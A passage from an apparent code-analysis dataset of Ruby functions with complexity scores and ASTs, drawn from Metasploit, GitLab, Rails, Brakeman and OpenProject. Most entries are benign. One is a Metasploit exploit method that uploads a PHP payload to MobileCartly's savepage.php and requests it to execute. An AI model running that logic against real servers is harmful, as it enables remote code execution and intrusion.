end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"file_stat\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_depot\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mnt\"]},\"stat\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}","id":"21d452a7-ad22-44ff-9d17-e8627b96ae84"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/rdp.rb","start_line":788,"raw_source":"def pdu_negotiation_request(user_name = \"\", requested_protocols = 0)\n # Blank username is ok, nil = random\n user_name = Rex::Text.rand_text_alpha(12) if user_name.nil?\n tpkt_len = user_name.length + 38\n x224_len = user_name.length + 33\n\n \"\\x03\\x00\" + # TPKT Header version 03, reserved 0\n [tpkt_len].pack(\"S>\") + # TPKT length: 43\n [x224_len].pack(\"C\") + # X.224 LengthIndicator\n \"\\xe0\" + # X.224 Type: Connect Request\n \"\\x00\\x00\" + # dst reference\n \"\\x00\\x00\" + # src reference\n \"\\x00\" + # class and options\n # cookie - literal 'Cookie: mstshash='\n \"\\x43\\x6f\\x6f\\x6b\\x69\\x65\\x3a\\x20\\x6d\\x73\\x74\\x73\\x68\\x61\\x73\\x68\\x3d\" +\n user_name + # Identifier \"username\"\n \"\\x0d\\x0a\" + # cookie terminator\n \"\\x01\\x00\" + # Type: RDP Negotiation Request ( 0x01 )\n \"\\x08\\x00\" + # Length\n [requested_protocols].pack('L<') # requestedProtocols\n end","complexity_score":46.53,"ast_json":"{\"type\":\"def\",\"children\":[\"pdu_negotiation_request\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user_name\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"optarg\",\"children\":[\"requested_protocols\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"Cookie: mstshash=\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"user_name\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0001\\u0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\b\\u0000\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requested_protocols\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"L<\"]}]}]}]}","id":"f46636ef-1bca-414c-86c6-08f02ad2506d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/discord.rb","start_line":111,"raw_source":"def notify(message, opts)\n webhook_url = opts[:channel]&.first || webhook\n\n payload = {\n content: '',\n embeds: Array.wrap(build_embed(message))\n }\n\n response = Gitlab::HTTP.post(\n webhook_url,\n headers: { 'Content-Type' => 'application/json' },\n body: Gitlab::Json.dump(payload)\n )\n\n return response if response.success?\n\n log_error('Error notifying Discord',\n response_body: response.body,\n response_code: response.code\n )\n end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"notify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"webhook_url\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},\"first\"]},{\"type\":\"send\",\"children\":[null,\"webhook\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embeds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[null,\"build_embed\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP\"]},\"post\",{\"type\":\"lvar\",\"children\":[\"webhook_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"str\",\"children\":[\"Error notifying Discord\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]}]}]}]}]}","id":"239cc0c6-9d99-4e05-b8a0-1fa007eff574"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/4_verify/ci_project_artifacts/user_can_bulk_delete_artifacts_spec.rb","start_line":54,"raw_source":"def content\n (1..total_jobs_count).map do |i|\n <<~YAML\n job_with_artifact_#{i}:\n tags: [\"#{executor}\"]\n script:\n - mkdir tmp\n - echo \"write some random strings #{i} times\" >> tmp/file_#{i}.xml\n artifacts:\n paths:\n - tmp\n YAML\n end.join(\"\\n\")\n end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[null,\"total_jobs_count\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"job_with_artifact_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\":\\n\"]},{\"type\":\"str\",\"children\":[\" tags: [\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\\n\"]},{\"type\":\"str\",\"children\":[\" script:\\n\"]},{\"type\":\"str\",\"children\":[\" - mkdir tmp\\n\"]},{\"type\":\"str\",\"children\":[\" - echo \\\"write some random strings \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\" times\\\" >> tmp/file_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\".xml\\n\"]},{\"type\":\"str\",\"children\":[\" artifacts:\\n\"]},{\"type\":\"str\",\"children\":[\" paths:\\n\"]},{\"type\":\"str\",\"children\":[\" - tmp\\n\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"08767d62-7d5b-4f74-b5bc-f22ab84dba68"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/container_expiration_policies_helper.rb","start_line":4,"raw_source":"def cadence_options\n ContainerExpirationPolicy.cadence_options.map do |key, val|\n { key: key.to_s, label: val }.tap do |base|\n base[:default] = true if key.to_s == '1d'\n end\n end\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cadence_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerExpirationPolicy\"]},\"cadence_options\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"1d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},null]}]}]}]}","id":"f2899774-fd41-460e-84f3-24a31da5ce50"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/update_service.rb","start_line":184,"raw_source":"def clone_issue(issue)\n target_container = params.delete(:target_clone_container)\n with_notes = params.delete(:clone_with_notes)\n\n return unless target_container &&\n issue.can_clone?(current_user, target_container)\n\n # we've pre-empted this from running in #execute, so let's go ahead and update the Issue now.\n update(issue)\n\n clone_service_container = target_container.is_a?(Project) ? target_container.project_namespace : target_container\n\n ::WorkItems::DataSync::CloneService.new(\n work_item: issue, current_user: current_user, target_namespace: clone_service_container,\n params: { clone_with_notes: with_notes }\n ).execute[:work_item]\n end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"clone_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_container\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"target_clone_container\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"with_notes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"clone_with_notes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_container\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"can_clone?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"target_container\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"lvasgn\",\"children\":[\"clone_service_container\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_container\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_container\"]},\"project_namespace\"]},{\"type\":\"lvar\",\"children\":[\"target_container\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"DataSync\"]},\"CloneService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_namespace\"]},{\"type\":\"lvar\",\"children\":[\"clone_service_container\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clone_with_notes\"]},{\"type\":\"lvar\",\"children\":[\"with_notes\"]}]}]}]}]}]},\"execute\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"work_item\"]}]}]}]}","id":"38a43596-9989-4d72-a612-4d33d0964202"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/strict_loading_test.rb","start_line":222,"raw_source":"def test_strict_loading_on_concat_is_ignored\n developer = Developer.first\n developer.strict_loading!\n\n assert_nothing_raised do\n developer.audit_logs << AuditLog.new(message: \"message\")\n end\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strict_loading_on_concat_is_ignored\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"strict_loading!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"audit_logs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuditLog\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"message\"]}]}]}]}]}]}]}]}","id":"4bfa3d45-f6b2-427e-adc0-21bc873b5439"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/markdown_output.rb","start_line":4,"raw_source":"def setup\n @@report ||= Brakeman.run(\n :app_path => \"#{TEST_PATH}/apps/rails2\",\n :quiet => true,\n :run_all_checks => true\n ).report.to_markdown\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@report\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TEST_PATH\"]}]},{\"type\":\"str\",\"children\":[\"/apps/rails2\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quiet\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"run_all_checks\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"report\"]},\"to_markdown\"]}]}]}","id":"40bfcb8c-3488-4ca8-bd2d-58a9fca4501f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":661,"raw_source":"def self.total_time_to_merge\n join_metrics\n .where(\n # Replicating the scope MergeRequest::Metrics.with_valid_time_to_merge\n MergeRequest::Metrics.arel_table[:merged_at].gt(\n MergeRequest::Metrics.arel_table[:created_at]\n )\n )\n .pick(MergeRequest::Metrics.time_to_merge_expression)\n end","complexity_score":13.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"total_time_to_merge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"join_metrics\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"Metrics\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merged_at\"]}]},\"gt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"Metrics\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]},\"pick\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"Metrics\"]},\"time_to_merge_expression\"]}]}]}","id":"06c6055c-4cab-4fb8-b0b8-2a8e16603ea6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/wiki.rb","start_line":393,"raw_source":"def repository\n @repository ||= Gitlab::GlRepository::WIKI.repository_for(self)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlRepository\"]},\"WIKI\"]},\"repository_for\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"4191b26d-1a9e-4e03-b7cf-b67765627c5e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/mobilecartly_upload_exec.rb","start_line":77,"raw_source":"def exploit\n #\n # Init target path\n #\n uri = normalize_uri(target_uri.path)\n uri << '/' if uri[-1, 1] != '/'\n base = File.dirname(\"#{uri}.\")\n\n #\n # Configure payload names\n #\n php_fname = Rex::Text.rand_text_alpha(5) + \".php\"\n\n #\n # Upload payload\n #\n print_status(\"Uploading payload\")\n res = send_request_cgi({\n 'uri' => normalize_uri(base, \"/includes/savepage.php\"),\n 'vars_get' => {\n 'savepage' => php_fname,\n 'pagecontent' => get_write_exec_payload(:unlink_self => true)\n }\n })\n\n if not res\n print_error(\"No response from server, will not continue.\")\n return\n end\n\n #\n # Run payload\n #\n print_status(\"Requesting '#{php_fname}'\")\n send_request_cgi({ 'uri' => normalize_uri(base, 'pages', php_fname) })\n\n handler\n end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"php_fname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"/includes/savepage.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"savepage\"]},{\"type\":\"lvar\",\"children\":[\"php_fname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pagecontent\"]},{\"type\":\"send\",\"children\":[null,\"get_write_exec_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlink_self\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No response from server, will not continue.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_fname\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"pages\"]},{\"type\":\"lvar\",\"children\":[\"php_fname\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"c71df543-6ed0-4333-b994-c5731260f876"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":876,"raw_source":"def test_respect_internal_encoding\n old_default_internal = Encoding.default_internal\n silence_warnings { Encoding.default_internal = \"EUC-JP\" }\n\n Weird.reset_column_information\n\n assert_equal [\"EUC-JP\"], Weird.columns.map { |c| c.name.encoding.name }.uniq\n ensure\n silence_warnings { Encoding.default_internal = old_default_internal }\n Weird.reset_column_information\n end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_respect_internal_encoding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_default_internal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_internal\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_internal=\",{\"type\":\"str\",\"children\":[\"EUC-JP\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Weird\"]},\"reset_column_information\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EUC-JP\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Weird\"]},\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},\"encoding\"]},\"name\"]}]},\"uniq\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_internal=\",{\"type\":\"lvar\",\"children\":[\"old_default_internal\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Weird\"]},\"reset_column_information\"]}]}]}]}","id":"f3850141-6fd5-424e-bff3-06a76be697e1"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/create_service.rb","start_line":79,"raw_source":"def set_templated_subject(work_package)\n return true unless work_package.type&.replacement_pattern_defined_for?(:subject)\n\n work_package.subject = work_package.type.enabled_patterns[:subject].resolve(work_package)\n work_package.save\n end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_templated_subject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"type\"]},\"replacement_pattern_defined_for?\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"subject=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"type\"]},\"enabled_patterns\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},\"resolve\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"save\"]}]}]}","id":"3d3fa0a6-187b-4d3b-92ea-d896af9c3c92"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/upload_exec.rb","start_line":70,"raw_source":"def args\n datastore['ARGS']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ARGS\"]}]}]}","id":"a4ebdc2f-f1db-4d9d-8893-96dde47a6123"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/devise_helpers.rb","start_line":27,"raw_source":"def with_omniauth_full_host(&block)\n # The OmniAuth `full_host` parameter doesn't get set correctly (it gets set to something like `http://localhost`\n # here), and causes integration tests to fail with 404s. We set the `full_host` by removing the request path (and\n # anything after it) from the request URI.\n omniauth_config_full_host = OmniAuth.config.full_host\n OmniAuth.config.full_host = ->(request) { ActionDispatch::Request.new(request).base_url }\n\n yield\n\n OmniAuth.config.full_host = omniauth_config_full_host\n 